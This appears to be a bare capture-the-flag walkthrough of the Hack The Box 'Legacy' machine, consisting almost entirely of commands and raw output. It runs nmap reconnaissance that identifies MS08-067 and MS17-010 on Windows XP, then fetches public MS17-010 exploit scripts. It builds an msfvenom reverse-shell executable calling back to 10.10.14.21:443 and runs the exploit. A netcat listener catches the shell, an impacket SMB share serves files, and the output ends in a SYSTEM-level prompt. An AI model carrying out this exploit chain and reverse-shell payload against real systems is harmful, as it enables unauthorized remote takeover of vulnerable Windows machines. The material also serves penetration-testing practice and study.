1. ping 10.10.10.4

64 bytes from 10.10.10.4: icmp\_seq=1 ttl=127 time=177 ms

64 bytes from 10.10.10.4: icmp\_seq=2 ttl=127 time=199 ms

64 bytes from 10.10.10.4: icmp\_seq=3 ttl=127 time=222 ms

Ttl is 127 probably windows box

1. nmap -A -Pn -p- 10.10.10.4 --min-rate 10000 -vv

Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.

Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-25 11:59 EDT

NSE: Loaded 153 scripts for scanning.

NSE: Script Pre-scanning.

NSE: Starting runlevel 1 (of 3) scan.

Initiating NSE at 11:59

Completed NSE at 11:59, 0.00s elapsed

NSE: Starting runlevel 2 (of 3) scan.

Initiating NSE at 11:59

Completed NSE at 11:59, 0.00s elapsed

NSE: Starting runlevel 3 (of 3) scan.

Initiating NSE at 11:59

Completed NSE at 11:59, 0.00s elapsed

Initiating Parallel DNS resolution of 1 host. at 11:59

Completed Parallel DNS resolution of 1 host. at 11:59, 6.53s elapsed

Initiating SYN Stealth Scan at 11:59

Scanning 10.10.10.4 [65535 ports]

Discovered open port 445/tcp on 10.10.10.4

Discovered open port 139/tcp on 10.10.10.4

Completed SYN Stealth Scan at 12:00, 13.63s elapsed (65535 total ports)

Initiating Service scan at 12:00

Scanning 2 services on 10.10.10.4

Completed Service scan at 12:00, 6.73s elapsed (2 services on 1 host)

Initiating OS detection (try #1) against 10.10.10.4

Retrying OS detection (try #2) against 10.10.10.4

Initiating Traceroute at 12:00

Completed Traceroute at 12:00, 0.16s elapsed

Initiating Parallel DNS resolution of 2 hosts. at 12:00

Completed Parallel DNS resolution of 2 hosts. at 12:00, 6.69s elapsed

NSE: Script scanning 10.10.10.4.

NSE: Starting runlevel 1 (of 3) scan.

Initiating NSE at 12:00

NSE Timing: About 99.28% done; ETC: 12:00 (0:00:00 remaining)

Completed NSE at 12:01, 51.62s elapsed

NSE: Starting runlevel 2 (of 3) scan.

Initiating NSE at 12:01

Completed NSE at 12:01, 0.01s elapsed

NSE: Starting runlevel 3 (of 3) scan.

Initiating NSE at 12:01

Completed NSE at 12:01, 0.00s elapsed

Nmap scan report for 10.10.10.4

Host is up, received user-set (0.15s latency).

Scanned at 2021-04-25 11:59:47 EDT for 84s

Not shown: 65532 filtered ports

Reason: 65532 no-responses

PORT STATE SERVICE REASON VERSION

139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn

445/tcp open microsoft-ds syn-ack ttl 127 Windows XP microsoft-ds

3389/tcp closed ms-wbt-server reset ttl 127

Device type: general purpose|specialized

Running (JUST GUESSING): Microsoft Windows XP|2003|2000 (92%), General Dynamics embedded (87%)

OS CPE: cpe:/o:microsoft:windows\_xp cpe:/o:microsoft:windows\_server\_2003 cpe:/o:microsoft:windows\_2000::sp4

OS fingerprint not ideal because: Didn't receive UDP response. Please try again with -sSU

Aggressive OS guesses: Microsoft Windows XP SP2 or Windows Small Business Server 2003 (92%), Microsoft Windows 2000 SP4 or Windows XP SP2 or SP3 (92%), Microsoft Windows XP SP2 (92%), Microsoft Windows 2000 SP4 (90%), Microsoft Windows XP SP3 (90%), Microsoft Windows XP SP2 or SP3 (90%), Microsoft Windows Server 2003 (89%), Microsoft Windows XP Professional SP3 (89%), Microsoft Windows XP Professional SP2 (89%), Microsoft Windows XP SP2 or Windows Server 2003 (89%)

No exact OS matches for host (test conditions non-ideal).

TCP/IP fingerprint:

SCAN(V=7.91%E=4%D=4/25%OT=139%CT=3389%CU=%PV=Y%DS=2%DC=T%G=N%TM=60859247%P=x86\_64-pc-linux-gnu)

SEQ(SP=102%GCD=1%ISR=102%TI=I%CI=I%II=I%SS=S%TS=0)

OPS(O1=M54DNW0NNT00NNS%O2=M54DNW0NNT00NNS%O3=M54DNW0NNT00%O4=M54DNW0NNT00NNS%O5=M54DNW0NNT00NNS%O6=M54DNNT00NNS)

WIN(W1=44E9%W2=44E9%W3=4100%W4=40E8%W5=40E8%W6=402E)

ECN(R=Y%DF=Y%TG=80%W=44E9%O=M54DNW0NNS%CC=N%Q=)

T1(R=Y%DF=Y%TG=80%S=O%A=S+%F=AS%RD=0%Q=)

T2(R=N)

T3(R=N)

T4(R=Y%DF=N%TG=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)

T5(R=Y%DF=N%TG=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)

T6(R=Y%DF=N%TG=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)

T7(R=N)

U1(R=N)

IE(R=Y%DFI=S%TG=80%CD=Z)

Network Distance: 2 hops

TCP Sequence Prediction: Difficulty=258 (Good luck!)

IP ID Sequence Generation: Incremental

Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows\_xp

Host script results:

|\_clock-skew: mean: -4h29m18s, deviation: 2h07m16s, median: -5h59m18s

| nbstat: NetBIOS name: LEGACY, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:b9:ee:a9 (VMware)

| Names:

| LEGACY<00> Flags: <unique><active>

| HTB<00> Flags: <group><active>

| LEGACY<20> Flags: <unique><active>

| HTB<1e> Flags: <group><active>

| HTB<1d> Flags: <unique><active>

| \x01\x02\_\_MSBROWSE\_\_\x02<01> Flags: <group><active>

| Statistics:

| 00 50 56 b9 ee a9 00 00 00 00 00 00 00 00 00 00 00

| 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

|\_ 00 00 00 00 00 00 00 00 00 00 00 00 00 00

| p2p-conficker:

| Checking for Conficker.C or higher...

| Check 1 (port 40600/tcp): CLEAN (Timeout)

| Check 2 (port 57678/tcp): CLEAN (Timeout)

| Check 3 (port 50902/udp): CLEAN (Timeout)

| Check 4 (port 27621/udp): CLEAN (Timeout)

|\_ 0/4 checks are positive: Host is CLEAN or ports are blocked

| smb-os-discovery:

| OS: Windows XP (Windows 2000 LAN Manager)

| OS CPE: cpe:/o:microsoft:windows\_xp::-

| Computer name: legacy

| NetBIOS computer name: LEGACY\x00

| Workgroup: HTB\x00

|\_ System time: 2021-04-25T16:01:02+03:00

| smb-security-mode:

| account\_used: guest

| authentication\_level: user

| challenge\_response: supported

|\_ message\_signing: disabled (dangerous, but default)

|\_smb2-security-mode: Couldn't establish a SMBv2 connection.

|\_smb2-time: Protocol negotiation failed (SMB2)

TRACEROUTE (using port 3389/tcp)

HOP RTT ADDRESS

1 153.78 ms 10.10.14.1

2 153.99 ms 10.10.10.4

NSE: Script Post-scanning.

NSE: Starting runlevel 1 (of 3) scan.

Initiating NSE at 12:01

Completed NSE at 12:01, 0.00s elapsed

NSE: Starting runlevel 2 (of 3) scan.

Initiating NSE at 12:01

Completed NSE at 12:01, 0.00s elapsed

NSE: Starting runlevel 3 (of 3) scan.

Initiating NSE at 12:01

Completed NSE at 12:01, 0.00s elapsed

Read data files from: /usr/bin/../share/nmap

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 91.53 seconds

Raw packets sent: 131142 (5.774MB) | Rcvd: 47 (2.720KB)

1. nmap -A -Pn -p- 10.10.10.4 --min-rate 10000 --script=smb-vuln\*

Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.

Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-25 12:21 EDT

Nmap scan report for 10.10.10.4

Host is up (0.17s latency).

Not shown: 65532 filtered ports

PORT STATE SERVICE VERSION

139/tcp open netbios-ssn Microsoft Windows netbios-ssn

445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds

3389/tcp closed ms-wbt-server

Device type: general purpose|specialized

Running (JUST GUESSING): Microsoft Windows XP|2003|2000|2008 (92%), General Dynamics embedded (88%)

OS CPE: cpe:/o:microsoft:windows\_xp cpe:/o:microsoft:windows\_server\_2003 cpe:/o:microsoft:windows\_2000::sp4 cpe:/o:microsoft:windows\_server\_2008::sp2

Aggressive OS guesses: Microsoft Windows XP SP2 or Windows Small Business Server 2003 (92%), Microsoft Windows 2000 SP4 or Windows XP SP2 or SP3 (92%), Microsoft Windows XP SP2 (92%), Microsoft Windows XP SP2 or SP3 (91%), Microsoft Windows Server 2003 (90%), Microsoft Windows XP SP3 (90%), Microsoft Windows 2000 SP4 (90%), Microsoft Windows XP Professional SP3 (90%), Microsoft Windows XP Professional SP2 (90%), Microsoft Windows XP SP2 or Windows Server 2003 (90%)

No exact OS matches for host (test conditions non-ideal).

Network Distance: 2 hops

Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows\_xp

Host script results:

| smb-vuln-ms08-067:

| VULNERABLE:

| Microsoft Windows system vulnerable to remote code execution (MS08-067)

| State: LIKELY VULNERABLE

| IDs: CVE:CVE-2008-4250

| The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,

| Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary

| code via a crafted RPC request that triggers the overflow during path canonicalization.

|

| Disclosure date: 2008-10-23

| References:

| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250

|\_ https://technet.microsoft.com/en-us/library/security/ms08-067.aspx

|\_smb-vuln-ms10-054: false

|\_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)

| smb-vuln-ms17-010:

| VULNERABLE:

| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)

| State: VULNERABLE

| IDs: CVE:CVE-2017-0143

| Risk factor: HIGH

| A critical remote code execution vulnerability exists in Microsoft SMBv1

| servers (ms17-010).

|

| Disclosure date: 2017-03-14

| References:

| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143

| https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/

|\_ https://technet.microsoft.com/en-us/library/security/ms17-010.aspx

TRACEROUTE (using port 3389/tcp)

HOP RTT ADDRESS

1 176.42 ms 10.10.14.1

2 176.89 ms 10.10.10.4

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 48.35 seconds

1. wget <https://github.com/helviojunior/MS17-010/blob/master/send_and_execute.py>
2. wget <https://raw.githubusercontent.com/worawit/MS17-010/master/mysmb.py>
3. git clone <https://github.com/SecureAuthCorp/impacket>
4. curl https://bootstrap.pypa.io/pip/2.7/get-pip.py -o get-pip.py && python get-pip.py
5. pip install --upgrade setuptools
6. pip install .
7. msfvenom -p windows/shell\_reverse\_tcp LHOST=10.10.14.21 LPORT=443 EXITFUNC=thread -f exe -a x86 --platform windows -o ms17-010.exe

No encoder specified, outputting raw payload

Payload size: 324 bytes

Final size of exe file: 73802 bytes

Saved as: ms17-010.exe

1. python send\_and\_execute.py 10.10.10.4 ms17-010.exe

Trying to connect to 10.10.10.4:445

Target OS: Windows 5.1

Using named pipe: browser

Groom packets

attempt controlling next transaction on x86

success controlling one transaction

modify parameter count to 0xffffffff to be able to write backward

leak next transaction

CONNECTION: 0x81e518e8

SESSION: 0xe1506100

FLINK: 0x7bd48

InData: 0x7ae28

MID: 0xa

TRANS1: 0x78b50

TRANS2: 0x7ac90

modify transaction struct for arbitrary read/write

make this SMB session to be SYSTEM

current TOKEN addr: 0xe20ea340

userAndGroupCount: 0x3

userAndGroupsAddr: 0xe20ea3e0

overwriting token UserAndGroups

Sending file K389J5.exe...

Opening SVCManager on 10.10.10.4.....

Creating service YjEn.....

Starting service YjEn.....

The NETBIOS connection with the remote host timed out.

Removing service YjEn.....

ServiceExec Error on: 10.10.10.4

nca\_s\_proto\_error

Done

1. nc -nlvp 443

C:\WINDOWS\system32>

1. cd /usr/share/doc/python3-impacket/examples
2. python3 smbserver.py lab "/opt/bipin/htbmachines/legacy/exploit/lab"

Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[\*] Config file parsed

[\*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0

[\*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0

[\*] Config file parsed

[\*] Config file parsed

[\*] Config file parsed

[\*] Incoming connection (10.10.10.4,1043)

[\*] AUTHENTICATE\_MESSAGE (\,LEGACY)

[\*] User LEGACY\ authenticated successfully

[\*] :::00::aaaaaaaaaaaaaaaa

[\*] Closing down connection (10.10.10.4,1043)

[\*] Remaining connections []

[\*] Incoming connection (10.10.10.4,1045)

[\*] AUTHENTICATE\_MESSAGE (\,LEGACY)

[\*] User LEGACY\ authenticated successfully

[\*] :::00::aaaaaaaaaaaaaaaa

[\*] Closing down connection (10.10.10.4,1045)

[\*] Remaining connections []

[\*] Incoming connection (10.10.10.4,1047)

[\*] AUTHENTICATE\_MESSAGE (\,LEGACY)

[\*] User LEGACY\ authenticated successfully

[\*] :::00::aaaaaaaaaaaaaaaa

[-] Unknown level for query path info! 0x109

[\*] Closing down connection (10.10.10.4,1047)

[\*] Remaining connections []

1. C:\>dir [\\10.10.14.21\lab](file:///\\10.10.14.21\lab)

dir \\10.10.14.21\lab

Volume in drive \\10.10.14.21\lab has no label.

Volume Serial Number is ABCD-EFAA

Directory of \\10.10.14.21\lab

28/04/2021 08:00 �� <DIR> .

28/04/2021 08:00 �� <DIR> ..

28/04/2021 07:55 �� 66.560 whoami.exe

1 File(s) 74.752 bytes

2 Dir(s) 15.207.469.056 bytes free

C:\>copy \\10.10.14.21\lab\whoami.exe .

copy \\10.10.14.21\lab\whoami.exe .

1 file(s) copied.

C:\>whoami.exe

whoami.exe

NT AUTHORITY\SYSTEM

C:\>